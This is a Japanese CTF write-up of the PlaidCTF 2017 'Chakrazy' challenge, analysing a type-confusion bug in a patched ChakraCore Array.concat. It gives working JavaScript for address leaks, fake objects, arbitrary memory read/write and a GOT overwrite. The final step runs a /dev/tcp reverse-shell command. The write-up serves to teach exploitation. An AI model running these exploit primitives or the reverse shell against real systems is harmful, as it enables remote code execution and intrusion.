しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

PlaidCTF 2017 - Chakrazy writeup

CTF Advent Calendar 2018の11日目です。
10日目は@bata_24さんの「SECCON 2018 - q-escape Writeup」でした。

今回はPlaidCTF 2017で出題されたChakraCore問であるChakrazyを扱います。


事前知識

まずはChakraCoreのデータ構造をおさらいする

ChakraCoreの基本情報

JavascriptのオブジェクトはJs::RecyclableObjectの派生クラスになっている
最初の8バイトがvtable pointerで、次の8バイトがJs::Typeへのポインタ

/* offset    |  size */  class Js::RecyclableObject : public FinalizableObject {
                         protected:
/*    8      |     8 */    Js::Type* type;
                           /* total size (bytes):   16 */
                         }

Js::Typeはオブジェクトの型やprototypeを管理するためのオブジェクト

/* offset    |  size */  class Js::Type {
                         protected:
                           // lib/Runtime/Types/EdgeJavascriptTypeId.h
/*    0      |     4 */    Js::TypeId typeId;
/*    4      |     1 */    TypeFlagMask flags;
/* XXX  3-byte hole  */
/*    8      |     8 */    Js::JavascriptLibrary* javascriptLibrary;
/*   16      |     8 */    Js::RecyclableObject* prototype;
/*   24      |     8 */    void* (*entryPoint)(Js::RecyclableObject*, Js::CallInfo, ...);
                         private:
/*   32      |     8 */    Js::TypePropertyCache* propertyCache;
                           /* total size (bytes):   40 */
                         }

ソースの/lib/Runtime/Types/EdgeJavascriptTypeId.hを見ればJs::TypeIdの一覧が見られる

enum TypeId
{
    TypeIds_Undefined = 0,
    TypeIds_Null = 1,

    TypeIds_UndefinedOrNull =  TypeIds_Null,

    TypeIds_Boolean = 2,

    // backend typeof() == "number" is true for typeIds
    // between TypeIds_FirstNumberType <= typeId <= TypeIds_LastNumberType
    TypeIds_Integer = 3,
    TypeIds_FirstNumberType = TypeIds_Integer,
    TypeIds_Number = 4,
    TypeIds_Int64Number = 5,
    TypeIds_UInt64Number = 6,
    TypeIds_LastNumberType = TypeIds_UInt64Number,

    TypeIds_String = 7,
    TypeIds_Symbol = 8,

    // (snip)

    TypeIds_Object = 27,
    TypeIds_Array = 28,
    TypeIds_ArrayFirst = TypeIds_Array,
    TypeIds_NativeIntArray = 29,
  #if ENABLE_COPYONACCESS_ARRAY
    TypeIds_CopyOnAccessNativeIntArray = 30,
  #endif
    TypeIds_NativeFloatArray = 31,
    TypeIds_ArrayLast = TypeIds_NativeFloatArray,
    TypeIds_ES5Array = 32,
    TypeIds_ArrayLastWithES5 = TypeIds_ES5Array,
    TypeIds_Date = 33,
    TypeIds_RegEx = 34,
    TypeIds_Error = 35,
    TypeIds_BooleanObject = 36,
    TypeIds_NumberObject = 37,
    TypeIds_StringObject = 38,
    TypeIds_SIMDObject = 39,
    TypeIds_Arguments = 40,
    TypeIds_ArrayBuffer = 41,
    TypeIds_Int8Array = 42,
    TypeIds_TypedArrayMin = TypeIds_Int8Array,
    TypeIds_TypedArraySCAMin = TypeIds_Int8Array, // Min SCA supported TypedArray TypeId
    TypeIds_Uint8Array = 43,
    TypeIds_Uint8ClampedArray = 44,
    TypeIds_Int16Array = 45,
    TypeIds_Uint16Array = 46,
    TypeIds_Int32Array = 47,
    TypeIds_Uint32Array = 48,
    TypeIds_Float32Array = 49,
    TypeIds_Float64Array = 50,

    // (snip)

Javascriptのオブジェクトを偽装する場合はtypeも設定する必要があるが、基本的にはtype->typeIdしか見ないようなので、TypeIdとして使いたい32bit値があるアドレスをtypeに突っ込むだけでOKなこともある(ただし、そのときはfakeobj.__proto__へのアクセスを発生させるとSEGVするので注意)

Array

ChakraCoreではArray関連のクラスは3つある

  • Js::JavascriptArray
    • オブジェクトも数値も何でも入れられる配列
      • オブジェクト→ポインタをそのまま入れる
      • 符号付き32bit値→(1 << 48) | valueJs::TaggedInt
      • 浮動小数点数(0xfffc << 48) ^ value
    • 8 bytes per element
  • Js::JavascriptNativeIntArray
    • 符号付き32bit値を入れるための配列
    • 4 bytes per element
  • Js::JavascriptNativeFloatArray

どのクラスも要素の表現の仕方が違うだけで、構造体のレイアウトは一緒

例えば、Js::JavascriptNativeIntArrayだとこんな感じのレイアウトになる

var a = [0x13371337, 0x13371338, 0x13371339];

f:id:Charo_IT:20181210115912p:plain
(0x80000002は未初期化の要素を表す)

Js::JavascriptNativeIntArrayの場合、要素数16以下だと上の図のようにJs::JavascriptNativeIntArrayheadが連続した領域に確保される

ChakraCoreの配列は要素を複数の区間に分けて保持できるようになっており、区間ごとにJs::SparseArraySegmentが作られる

要素の取得・設定は大体こんな感じ

def get_item(self, index):
    if index < self.length:
        last_used_segment = self.get_last_used_segment()  # self.flags & 2 == 0ならself.segmentUnionの値が使われる
        offset = index - last_used_segment.left
        if last_used_segment.left <= index and offset < last_used_segment.length and self.elements[offset] is not uninitialized:
            return self.elements[offset]
        else:
            # slowpath
    else:
        # slowpath

def set_item(self, index, value):
    if index < self.length:
        last_used_segment = self.get_last_used_segment()
        offset = index - last_used_segment.left
        if last_used_segment.left <= index and offset < last_used_segment.size
            self.elements[offset] = value
            assert(last_used_segment.length <= last_used_segment.size)
            # update last_used_segment.length if necessary
        else:
            # slowpath
    else:
        # slowpath

TypedArray

TypedArrayはJs::TypedArray<typename TypeName, bool clamped = false, bool virtualAllocated = false>というテンプレートクラスで実装されている
例えば、Uint8ArrayJs::TypedArray<unsigned char, false, false>となる

レイアウトはこんな感じ

var a = new Uint8Array(16);

f:id:Charo_IT:20181210120017p:plain
TypedArrayを偽装する場合、arrayBufferArrayBufferオブジェクトのアドレスを入れる必要がある(arrayBufferの内容とbufferとが合っていなくてもOK)


Chakrazy

ChakraCoreの基礎知識をおさらいしたので、本題のChakrazyを見ていく

パッチ解析

脆弱なパッチが当てられたのはJavascriptArray::ConcatIntArgsで、これはJavascriptNativeIntArrayな配列に対して、引数がJavascriptNativeIntArrayまたはTaggedIntconcatを呼ぶと実行される関数

// pDestArrayはconcatを呼んだ配列ではなく、concatの結果が格納される配列なので注意
JavascriptArray* JavascriptArray::ConcatIntArgs(JavascriptNativeIntArray* pDestArray, TypeId *remoteTypeIds, Js::Arguments& args, ScriptContext* scriptContext)
{
    uint idxDest = 0u;
    for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
    {
        // concatの引数を1つずつ取得
        Var aItem = args[idxArg];
        bool spreadableCheckedAndTrue = false;

        if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
        {
            // ☆1 ここで介入してpDestArrayの型を変えられる
            // IsConcatSpreadableに関してはMDN (https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable)を参照
            spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
            // パッチによりここが削除
            // if (!JavascriptNativeIntArray::Is(pDestArray))
            // {
            //     ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
            //     return pDestArray;
            // }

            if(!spreadableCheckedAndTrue)  // ここに入ると意味が無いので、IsConcatSpreadableはtrueを返すようにする
            {
                pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);
                idxDest = idxDest + 1;
                if (!JavascriptNativeIntArray::Is(pDestArray)) // SetItem could convert pDestArray to a var array if aItem is not an integer if so fall back
                {
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                    return pDestArray;
                }
                continue;
            }
        }

        if (JavascriptNativeIntArray::Is(aItem)) // Fast path
        {  // aItemがJavascriptNativeIntArrayならこっち
            JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
            // ☆2 ここでtype confusionその1
            // bool JavascriptArray::CopyNativeIntArrayElements(JavascriptNativeIntArray* dstArray, uint32 dstIndex, JavascriptNativeIntArray* srcArray, uint32 start, uint32 end)
            // pDestArray[idxDest..]にpItemArrayの要素をセットしていく
            // このとき、pDestArrayをJavascriptNativeIntArrayとみなしてDirectSetItemAt<int>を呼ぶので、
            // pItemArrayにアドレスを入れておくとpDestArrayに入れてくれる
            bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
            idxDest = idxDest + pItemArray->length;
            if (converted)
            {
                // Copying the last array forced a conversion, so switch over to the var version
                // to finish.
                ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                return pDestArray;
            }
        }
        else if (!JavascriptArray::IsAnyArray(aItem) && remoteTypeIds[idxArg] != TypeIds_Array)
        {  // aItemが配列以外ならこっち。こっちに来ても特においしいことはない
            if (TaggedInt::Is(aItem))
            {
                pDestArray->DirectSetItemAt(idxDest, TaggedInt::ToInt32(aItem));
            }
            else
            {
#if DBG
                int32 int32Value;
                Assert(
                    JavascriptNumber::TryGetInt32Value(JavascriptNumber::GetValue(aItem), &int32Value) &&
                    !SparseArraySegment<int32>::IsMissingItem(&int32Value));
#endif
                pDestArray->DirectSetItemAt(idxDest, static_cast<int32>(JavascriptNumber::GetValue(aItem)));
            }
            ++idxDest;
        }
        else
        {
            // aItemが配列ならこっち
            // ☆3 ここでtype confusionその2
            // pDestArrayをJavascriptNativeIntArrayとみなしてJavascriptArrayにコンバートするので、
            // pDestArrayにアドレスが入っていると上位32bitと下位32bitに分けられる
            JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
            ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
            return pVarDestArray;
        }
    }
    if (pDestArray->GetLength() != idxDest)
    {
        pDestArray->SetLength(idxDest);
    }
    return pDestArray;
}

それではソースを少しずつ見ていく

パッチ周辺

まずは☆1(パッチ周辺)

        if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
        {
            // ☆1 ここで介入してpDestArrayの型を変えられる
            // IsConcatSpreadableに関してはMDN (https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable)を参照
            spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
            // パッチによりここが削除
            // if (!JavascriptNativeIntArray::Is(pDestArray))
            // {
            //     ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
            //     return pDestArray;
            // }

            if(!spreadableCheckedAndTrue)  // ここに入ると意味が無いので、IsConcatSpreadableはtrueを返すようにする
            {
                pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);
                idxDest = idxDest + 1;
                if (!JavascriptNativeIntArray::Is(pDestArray)) // SetItem could convert pDestArray to a var array if aItem is not an integer if so fall back
                {
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                    return pDestArray;
                }
                continue;
            }
        }

見て分かるとおり、JavascriptOperators::IsConcatSpreadable(aItem)が呼ばれた後でもpDestArrayJavascriptNativeIntArrayのままかどうかのチェックが消えている

これは、例えば以下のようなコードを書くと何かよろしくないことが起きることを示唆している

var pDestArray;
var array = [0, 1, 2];  // concatを呼ぶ用のJavascriptNativeIntArray
var aItem = [0, 1, 2];  // concatに渡す用のJavascriptNativeIntArray

// pDestArrayを取得するためにSymbol.speciesを使う
var f = new Function();
f[Symbol.species] = function(){  // concatの結果を格納する配列を作るときに呼ばれる
  pDestArray = [];  // この時点ではJavascriptNativeIntArray
  return pDestArray;
}
array.constructor = f;

// このようなgetterを設定しておくと、JavascriptOperators::IsConcatSpreadable(aItem)が呼ばれたときに実行される
Object.defineProperty(aItem, Symbol.isConcatSpreadable, {
  get: function(){
    pDestArray[0] = {};  // pDestArrayをJavascriptArrayに変える
    return true;
  }
});

array.concat(aItem);

Type Confusion その1

次に見るのは☆2(concatの引数がJavascriptNativeIntArrayだったときの処理)

        if (JavascriptNativeIntArray::Is(aItem)) // Fast path
        {  // aItemがJavascriptNativeIntArrayならこっち
            JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
            // ☆2 ここでtype confusionその1
            // bool JavascriptArray::CopyNativeIntArrayElements(JavascriptNativeIntArray* dstArray, uint32 dstIndex, JavascriptNativeIntArray* srcArray, uint32 start, uint32 end)
            // pDestArray[idxDest..]にpItemArrayの要素をセットしていく
            // このとき、pDestArrayをJavascriptNativeIntArrayとみなしてDirectSetItemAt<int>を呼ぶので、
            // pItemArrayにアドレスを入れておくとpDestArrayに入れてくれる
            bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
            idxDest = idxDest + pItemArray->length;
            if (converted)
            {
                // Copying the last array forced a conversion, so switch over to the var version
                // to finish.
                ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                return pDestArray;
            }
        }

CopyNativeIntArrayElementsはあるJavascriptNativeIntArrayから別のJavascriptNativeIntArrayに複数の要素をコピーするための関数で、プロトタイプから分かるようにコピー先がJavascriptNativeIntArrayであることを想定している
f:id:Charo_IT:20181210120101p:plain

しかし、今回はpDestArrayの型を変えることができるため、コピー先にJavascriptArrayを指定することでType Confusionを起こせる
f:id:Charo_IT:20181210120112p:plain

このType Confusionを使うと任意のアドレスにあるデータをJavascriptのオブジェクトとして取り出すことができる

利用例はこんな感じ

// addrにあるデータをJavascriptのオブジェクトとして扱う
function asJsObject(addr){
    var a = [0, 1];
    var b = [addr.low, addr.high];

    var f = new Function();
    var confused;
    f[Symbol.species] = function(){
        confused = [];  // この時点ではconfusedはJavascriptNativeIntArray
        return confused;
    }
    a.constructor = f;

    Object.defineProperty(b, Symbol.isConcatSpreadable, {
        get: function(){
            confused[0] = undefined;  // confusedをJavascriptArrayに変える
            return true;
        }
    });

    var c = a.concat(b);

    return c[1];
}

Type Confusion その2

最後に☆3(concatの引数がJavascriptArrayだった場合)を見る
※「concatの引数がJavascriptArray」というのはConcatIntArgsが呼ばれる条件からして一瞬あり得ないように見えるが、pDestArrayの型が変えられるのと同様にaItemの型も変えられることを考えると何らおかしくない

        else
        {
            // aItemが配列ならこっち
            // ☆3 ここでtype confusionその2
            // pDestArrayをJavascriptNativeIntArrayとみなしてJavascriptArrayにコンバートするので、
            // pDestArrayにアドレスが入っていると上位32bitと下位32bitに分けられる
            JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
            ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
            return pVarDestArray;
        }

aItemJavascriptNativeIntArray以外の配列な場合はpDestArrayJavascriptArrayに変換してからaItemのデータをコピーする必要があるため、JavascriptNativeIntArray::ConvertToVarArray(pDestArray)が呼ばれることになる f:id:Charo_IT:20181210120131p:plain

この関数もpDestArrayJavascriptNativeIntArrayであることを想定しているので、ここでもType Confusionが起こせる f:id:Charo_IT:20181210120144p:plain

このType Confusionを使うと、pDestArrayに入っているJavascriptのオブジェクトのアドレスを取得することができる

利用例はこんな感じ

// objのアドレスを取得する
function getAddress(obj){
    var a = [0, 1, 2];
    var b = [0, 1];

    var f = new Function();
    var confused;
    f[Symbol.species] = function(){
        confused = [];  // この時点ではconfusedはJavascriptNativeIntArray
        return confused;
    };
    a.constructor = f;

    // b[Symbol.isConcatSpreadable]はNG
    Object.defineProperty(b, Symbol.isConcatSpreadable, {
        get: function(){
            b[0] = undefined;  // bをJavascriptNativeIntArray以外の配列にする
            confused[0] = obj;  // confusedをJavascriptArrayに変える
            return true;
        }
    });

    var c = a.concat(b);

    return new Integer(c[0], c[1], true);
}

exploitを書く

0. ChakraCoreの罠

前項では、Type Confusionでオブジェクトを偽装したりアドレスを取得したりする処理をgetAddressasJsObjectという風に関数化したが、この関数を直接呼ぶとなぜか最初の1回しかうまく動かない
以下のように呼び出す度に関数を作り直す形にすると、何回呼んでもちゃんと動くようになる

// https://stackoverflow.com/questions/1833588/javascript-clone-a-function/19515928#19515928
// eval(func.toString())みたいなものも試してみたがダメだった。要調査
function cloneFunc( func ) {
  var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
    , s = func.toString().replace(/^\s|\s$/g, '')
    , m = reFn.exec(s);
  if (!m || !m.length) return; 
  var conf = {
      name : m[1] || '',
      args : m[2].replace(/\s+/g,'').split(','),
      body : m[3] || ''
  }
  var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
  return clone;
}

// これをやらないと2回目以降にうまく動かない(JITのせい?)
function getAddress(obj){
    getAddress_ = cloneFunc(getAddress_);
    return getAddress_(obj);
}

function asJsObject(addr){
    asJsObject_ = cloneFunc(asJsObject_);
    return asJsObject_(addr);
}

// objのアドレスを取得する
function getAddress_(obj){
    // (snip)
}

// addrにあるデータをJavascriptのオブジェクトとして扱う
function asJsObject_(addr){
    // (snip)
}

1. libChakraCoreのアドレスリー

JavascriptNativeIntArrayを2つ並べ、2つの配列にまたがる形でfakeのJavascriptUInt64Numberオブジェクトを作ることでJavascriptNativeIntArrayのvtableをリークする

function leakChakraCoreBase(){
    // a, bはこんな感じのメモリレイアウトになっていて、2個までならrelocateさせずに要素を追加できる
    //   0x7ffff0d481c0: 0x00007ffff6480bb0      0x00007ffff7e14f00  <-a
    //   0x7ffff0d481d0: 0x0000000000000000      0x0000000000000005
    //   0x7ffff0d481e0: 0x0000000000000004      0x00007ffff0d48200
    //   0x7ffff0d481f0: 0x00007ffff0d48200      0x00007ffff7e55a40
    //   0x7ffff0d48200: 0x0000000400000000      0x0000000000000006
    //   0x7ffff0d48210: 0x0000000000000000      0x0000000200000001
    //   0x7ffff0d48220: 0x0000000400000003      0x8000000280000002
    //   0x7ffff0d48230: 0x00007ffff6480bb0      0x00007ffff7e14f00  <-b
    // なので、bの0x10バイト手前(0x7ffff0d48220)に偽のJavascriptUInt64Numberを作ってbのvtableをリークする
    var a = [1, 2, 3, 4];
    var b = [6, 0, 0, 0];  // JavascriptUInt64NumberのTypeId
    var addressA = getAddress(a);
    var addressB = getAddress(b);

    if(addressB.sub(addressA).neq(0x70)){
        throw ":(";
    }

    // メモリ上にJavascriptUInt64Numberオブジェクトを作る
    //   offset 0x0 : vtable (unused)
    //          0x8 : Js::Type* type
    //          0x10: unsigned long value
    // vtable
    a[2] = 0;
    a[3] = 0;
    // Js::Type* type
    [a[4], a[5]] = (a => [a.low, a.high])(addressB.add(0x58));

    var vtable = Integer.fromNumber(parseInt(asJsObject(addressA.add(0x60))), true);

    return vtable.sub(offsets.vtable_JavascriptNativeIntArray);
}

2. AAR/AAW

libChakraCoreのアドレスが分かったので、fakeのUint8Arrayを作ってAAR/AAWできるようにする

function achieveRW(libChakraCoreBase){
    var a = new Array(16);  // 17以上だとインラインなArrayにならないっぽい
    var buffer = new ArrayBuffer(0x1000);  // 適当なArrayBuffer
    var deconstruct = a => [a.low, a.high];
    var type = [43, 0];

    // a中にfakeのUint8Arrayを作る
    //   0x0 : vtable
    //   0x8 : type = &(TypeIds_Uint8Array(=43))
    //   0x10: auxSlots = NULL
    //   0x18: objectArray = NULL
    //   0x20: unsigned int length = length
    //   0x28: Js::ArrayBufferBase *arrayBuffer = &ArrayBuffer
    //   0x30: int BYTES_PER_ELEMENT = 1
    //   0x34: unsigned int byteOffset = 0
    //   0x38: unsigned char *buf
    // vtable
    [a[0], a[1]] = deconstruct(libChakraCoreBase.add(offsets.vtable_Uint8Array));
    // type
    [a[2], a[3]] = deconstruct(getAddress(type).add(0x58));
    // auxSlots
    [a[4], a[5]] = [0, 0];
    // objectArray
    [a[6], a[7]] = [0, 0];
    // length
    [a[8], a[9]] = [buffer.byteLength, 0];
    // arrayBuffer
    [a[10], a[11]] = deconstruct(getAddress(buffer));
    // BYTES_PER_ELEMENT
    a[12] = 1;
    // byteOffset
    a[13] = 0;
    // buf
    [a[14], a[15]] = [0, 0];

    var memory = {
        a: a,
        b: buffer,  // 消えたら困りそうなので一応入れておく
        t: type,
        buf: asJsObject(getAddress(a).add(0x58)),
        setAddress: function(addr){
            [this.a[14], this.a[15]] = [addr.low, addr.high];
        },
        readBytes: function(addr, length){
            var result = new Array(length);
            this.setAddress(addr);
            // this.buf.slice(0, length)はprototypeへのアクセスが発生するのでNG
            for(var i = 0; i < length; i++){
                result[i] = this.buf[i];
            }
            return result;
        },
        readLong: function(addr){
            var result = this.readBytes(addr, 8);
            return new Integer(result[0] | (result[1] << 8) | (result[2] << 16) | (result[3] << 24), result[4] | (result[5] << 8) | (result[6] << 16) | (result[7] << 24), true);
        },
        writeBytes: function(addr, data){
            this.setAddress(addr);
            for(var i = 0; i < data.length; i++){
                this.buf[i] = data[i];
            }
        },
        writeLong: function(addr, value){
            var bytes = value.toBytesLE();
            this.writeBytes(addr, bytes);
        }
    };

    return memory;
}

3. 任意コマンド実行

同じ型のTypedArray a, bを使ってa.set(b)とすると、memmove(a.buffer, b.buffer, a.length)が呼ばれるので、GOT overwriteでmemmovesystemに変えておけば任意コマンド実行ができる

function pwn(){
    var libChakraCoreBase = leakChakraCoreBase();
    console.log(`[*] libChakraCore base = 0x${libChakraCoreBase.toString(16)}`);

    var memory = achieveRW(libChakraCoreBase);

    var a = new Uint8Array(100);
    var cmd = "/bin/bash -c 'sh < /dev/tcp/HOST/PORT >&0'\0";
    for(var i = 0; i < cmd.length; i++){
        a[i] = cmd.charCodeAt(i);
    }
    var b = new Uint8Array(a.length);

    var libcBase = memory.readLong(libChakraCoreBase.add(offsets.got_mprotect)).sub(offsets.libc_mprotect);
    console.log(`[*] libc base = 0x${libcBase.toString(16)}`);

    memory.writeLong(libChakraCoreBase.add(offsets.got_memmove), libcBase.add(offsets.libc_system));
    a.set(b);
}

最終的なexploitはこんな感じ
https://gist.github.com/Charo-IT/c6c82762bf3f5997ddadbbd4a75eb504

参考資料等

https://bruce30262.github.io/2017/12/26/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/ https://gist.github.com/eboda/18a3d26cb18f8ded28c899cbd61aeaba


CTF Advent Calendar 2018 12日目は@xrekkusuさんの「WebAssembly解いてみる」です。